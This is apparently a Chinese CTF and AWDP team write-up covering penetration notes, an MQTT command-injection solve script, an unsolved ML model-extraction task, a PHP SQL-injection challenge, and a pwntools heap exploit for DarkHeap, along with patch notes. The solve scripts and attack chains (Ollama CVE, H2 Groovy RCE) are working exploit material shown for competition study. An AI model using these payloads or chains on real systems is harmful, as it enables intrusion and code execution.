欢迎前往CTF Archives下载附件
渗透
外网扫描能扫到第一台机器开了3306,80,8081,22。
然后80是一点东西都没有的,8081里有好几个服务塞到一起。扫出来有一个类似swagger-ui的东西,但是里面没啥用。需要什么token登录。https://www.jeecg.com/。可以扫到一个druid/index.html,这里有个弱密码,admin/123456,但是还是没啥用。
然后嘛,这次提供了一个查询区,可以带着电脑过去查东西。所以就过去搜jeecg这个系统的历史漏洞,查了下找到文件上传还有sql注入的洞就可以打了。
ollama是开了22和11434,版本0.1.46?好像是,直接用cve就能打进去了
web02开了个ftp可以匿名登录,猜测攻击方式是下源码审计。然后也许这台连了内网。
金融管理系统也是看不出来一点,只开了8080,貌似还是个静态网页。
CTF
mqtt
这个是队友大爹做的
race之后popen命令注入
from paho.mqtt import client as mqtt
from pwn import *
import json
def on_connect(client, userdata, flags, rc):
client.subscribe("logfile") # Subscribe to logfile where finger similarity appears
client.subscribe("#") # Optionally subscribe to all for debugging
client.subscribe("diag") # Optionally subscribe to all for debugging
client.subscribe("vehicle_diag") # Optionally subscribe to all for debugging
print("Connected with result code", rc)
def on_message(client, userdata, msg):
message = msg.payload.decode() # Decode message payload
print(f"Received message on topic '{msg.topic}': {message}")
print(message)
def publish_msg(client, auth, cmd, arg):
msg = {
"auth": "d26e7233",
"cmd": cmd,
"arg": arg
}
client.publish("diag", json.dumps(msg),qos=1)
client = mqtt.Client(client_id="paho_test")
# Set the on_connect and on_message callbacks
client.on_connect = on_connect
client.on_message = on_message
local = 0
# Connect to the broker (adjust host/port as needed)
if local:
#p = process(["qemu-arm", "-g", "1234", "./mqtt_lock"])
client.connect("127.0.0.1", 9999, keepalive=1000)
else:
client.connect("8.147.132.32", 30772, keepalive=1000)
# Start the network loop to handle incoming/outgoing messages
publish_msg(client,"111","set_vin","1"*0x10)
sleep(1)
publish_msg(client,"111","set_vin",";cat /home/ctf/flag")
client.loop_start()
pause() what is model name(忘了啥名了)(unsolved)
from flask import Flask, request, jsonify, render_template
import torch
from tqdm import tqdm
import torch.nn as nn
import torch.optim as optim
import torchvision.models as models
import torchvision.datasets as datasets
import torchvision.transforms as transforms
from torch.utils.data import DataLoader, Subset, Dataset
import base64
import io
from PIL import Image
import numpy as np
import os
app = Flask(__name__)
device = torch.device("cuda")
model = models.resnet18(weights=ResNet18_Weights.IMAGENET1K_V1)
num_classes = 10
model.fc = nn.Linear(model.fc.in_features, num_classes)
model.load_state_dict(torch.load('model.pth', weights_only=True, map_location=torch.device('cuda')))
user_model = models.resnet18(weights=ResNet18_Weights.IMAGENET1K_V1)
user_model.fc = nn.Linear(user_model.fc.in_features, num_classes)
transform = transforms.Compose([
transforms.Resize(256),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))
])
test_dataset = torch.load('test_subset.pt')
test_loader = DataLoader(test_dataset, batch_size=8, shuffle=False)
def test(model, test_loader):
model.eval()
total_corrects = 0
with torch.no_grad():
for inputs, labels in test_loader:
# 将数据移动到 GPU
inputs, labels = inputs.to(device), labels.to(device)
outputs = model(inputs)
_, preds = torch.max(outputs, 1)
total_corrects += torch.sum(preds == labels.data)
accuracy = float(total_corrects) / len(test_loader.dataset)
return accuracy
@app.route('/')
def index():
return render_template('index.html')
@app.route('/predict', methods=['POST'])
def predict():
if 'image' not in request.json:
return jsonify({'error': '没有提供图像'}), 400
try:
image_data = base64.b64decode(request.json['image'])
image = Image.open(io.BytesIO(image_data))
image_tensor = transform(image).unsqueeze(0)
with torch.no_grad():
outputs = model(image_tensor)
return jsonify({'prediction': outputs[0].tolist()})
except Exception as e:
return jsonify({'error': str(e)}), 500
@app.route('/flag', methods=['POST'])
def flag():
if 'model' not in request.json:
return jsonify({'error': '没有提供模型文件'}), 400
try:
model_data = base64.b64decode(request.json['model'])
model_file = io.BytesIO(model_data)
user_model.load_state_dict(torch.load(model_file, weights_only=True, map_location=torch.device('cpu')))
for i, (param, user_param) in enumerate(zip(model.parameters(), user_model.parameters())):
assert(threshold<=0.25)
assert(threshold>=0.05)
if torch.sum(abs(param - user_param) > threshold):
return jsonify({'error': f'Layer {i} weight difference too large of {torch.max(abs(param - user_param))}'}), 400
acc=test(user_model, test_loader)
if acc<=0.45:
return jsonify({'error': f'Functional accuracy is only {acc}'}), 400
flag = 'flag{win}'
return jsonify({'flag': f'Here is your flag: {flag}'})
except Exception as e:
return jsonify({'error': str(e)}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000) 写了个简单的gradient accumulate,但是感觉不是这么做的。
import torch
import torch.nn as nn
import torch.optim as optim
import torchvision.models as models
import torchvision.transforms as transforms
import requests
import sys
from base64 import b64encode
from PIL import Image
import json
base_url = "http://39.96.200.235:26720"
device = torch.device("cuda")
model = models.resnet18()
model.load_state_dict(torch.load("ResNet18_Weights-IMAGENET1K_V1.pth", weights_only=True, map_location=device))
num_classes = 10
model.fc = nn.Linear(model.fc.in_features, num_classes)
model.to(device)
transform = transforms.Compose([
transforms.Resize(256),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))
])
def send_image(image: Image.Image):
image = image.save("tmp.png")
return requests.post(f"{base_url}/predict",data=json.dumps({
"image": b64encode(open("tmp.png","rb").read()).decode()
}),headers={
"Content-Type": "application/json"
}).json()['prediction']
def test(file: str):
return requests.post(f"{base_url}/flag",data=json.dumps({
"model": b64encode(open(file,"rb").read()).decode()
}),headers={
"Content-Type": "application/json"
}).json()
optimizer = optim.Adam(model.parameters(), lr=0.001)
epoches = 21
sizes = 50
best_loss = 111111
best_id = 0
for i in range(epoches):
print(f"[ ] Round {i}")
# Generating samples
t_loss = 0
for j in range(sizes):
# print(f"[+] Training No.{j} pictures")
print(f"[*] {j+1}/{sizes}, epoch = {i + 1}")
image = Image.fromarray(torch.rand((256,256,3)).numpy(),mode="RGB")
ground_truth = torch.tensor(send_image(image)).to(device).requires_grad_(True)
result = model(transform(image).unsqueeze(0).to(device))
loss = torch.mean((result - ground_truth) ** 2)
t_loss += loss.item()
loss.backward()
optimizer.step()
print(f"[!] loss {t_loss/sizes:.5f}, best_loss {best_loss:.5f}")
if t_loss/sizes < best_loss:
best_loss = t_loss/sizes
best_id = i
torch.save(model.state_dict(),f"checkpoint/{i}.pth",)
print(test(f"checkpoint/{best_id}.pth"))
嗯好的,找模型问了下说,因为前面是一样的,只需要solve最后一层的最小二乘即可。
回头复现下再补。
hardphp(unsolved)
就是一个www.zip泄露源码。
能搜到几个几乎一模一样的题:Quine注入,TPCTF打过一次来着,但是有点不一样,因为他把replace给ban掉了,需要找类似的函数来完成。
<?php
session_start();
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|replace|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|benchmark|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
//echo($sql);
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
//var_dump($row);
if (!$row) {
alertMes("something wrong",'index.php');
}
//echo($row['password']);
if ($row['password'] === $password) {
$_SESSION['user']['islogin']=true;
alertMes("login success!!",'admin.php');
} else {
alertMes("something wrong",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?> 可以注意到这里和其他的题不一样的一点是把replace过滤掉了(生气),这导致我们需要替换一个其他的类似函数(所以没做出来),但是估计就是换个函数 or 也可能是直接换解法了吧?
可信计算
根据.log与user.list的信息,我们知道ADMIN=1,USER=2,GUEST=3.
在checkuser中加入相应的比较逻辑即可。
AWDP
web rbac
- 可以看到,把execute函数设置为null时会触发panic,不会重置权限。
- 同时,在设置kv时他做的(
rbac:change_return:1,rbac:change_return:0)并不是按照顺序完成的,而是如下图所示:
所以当panic第一次完了之后可以拿到flag:return的权限,那就直接打通了
修复的话,显然直接不管flag,都不返回就行。
-if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
- return content, nil
-} 下面都是队友做的Orz
web ota
Fix: Spring Parent从3.3.3升级到3.3.4
Break:
CVE-2024-38816 任意文件读取下到 /opt/ota.jar
然后读session key伪造SUPERADMIN
最后打JDBC H2 Groovy trigger RCE
web security rasp (unsolved break)
break: 直接就能看到那个有反序列化洞的主程序,攻击应该就直接打(对吧)
fix: 把某几个选项打开?
pwn LoginSystem
修:有两个连续的memcpy,把size限制一下改成512。
pwn Darkheap
#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 1
ip = ""
port = 8888
ELF_PATH="DarkHeap"
LIBC_PATH="./libc.so.6"
if local:
p = process(ELF_PATH)
else:
p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)
script = '''
'''
def dbg():
if local:
gdb.attach(p,script)
pause()
def cmd(c):
p.sendlineafter(b"Choice:",str(c).encode())
def add(idx, size):
cmd(1)
p.sendlineafter(b"Index:",str(idx).encode())
p.sendlineafter(b"Size:",str(size).encode())
def dele(idx):
cmd(3)
p.sendlineafter(b"Index:",str(idx).encode())
def edit(idx, content):
cmd(2)
p.sendlineafter(b"Index:",str(idx).encode())
p.sendafter(b"Content",content)
def ptr_xor(addr, target):
return p64((addr >> 12) ^ target)
stdout = libc.symbols["_IO_2_1_stdout_"]
off1 = 0
off2 = 0xd7
pause()
add(0,0x110)
dele(0)
# add(0,0x1500)
# dele(0)
for i in range(7+8):
add(i,0x80)
add(0xf,0x10)
add(0xf,0x80)
for i in range(0xf):
dele(i)
add(0,0x800)
dele(0xf)
add(1,0x200)
dele(0)
add(2,0xf0)
add(3,0xf0)
add(4,0xf0)
add(5,0xf0)
payload = b'a'*0x60 + p64(0) + p64(0x91) + b'a'*0x88 + p64(0x71)
payload += b'a'*0x90 + p64(0x91)
edit(0,payload)
dele(3)
add(1,0x200)
edit(0xd,p64(0x100) + b'\xb0\xb0')
for i in range(7):
add(i,0x80)
add(7,0x80) ## 控制了tcache_struct!!!!!
pause()
## 踩一个libc做leak!!!
for i in range(7+8):
add(i,0x90)
add(0xf,0x100)
add(0xf,0x90)
for i in range(0xf):
dele(i)
add(0,0x800)
dele(0xf)
add(1,0x200)
edit(0xe,p64(0x100) + b'\x00\xb1')
for i in range(7):
add(i,0x90)
add(7,0x90) ## 控制了tcache_struct!!!!!
add(0,0x80)
edit(0,b'a'*0x50 + p8(stdout & 0xff) + p8(off2))
add(1,0x110)
edit(1,p64(0xfbad1800)+p64(0)*3+b'\x00' + p8(off2))
p.interactive() 修:有一个UAF,还有一个v1 = (int)v0,对于前者在.eh_frame上将堆指针清零,再跳转到free即可,对于后者,改成movzx ebx, ax即可。
pwn embbed-httpd
修:recv有溢出,把两个4096改成0xF00。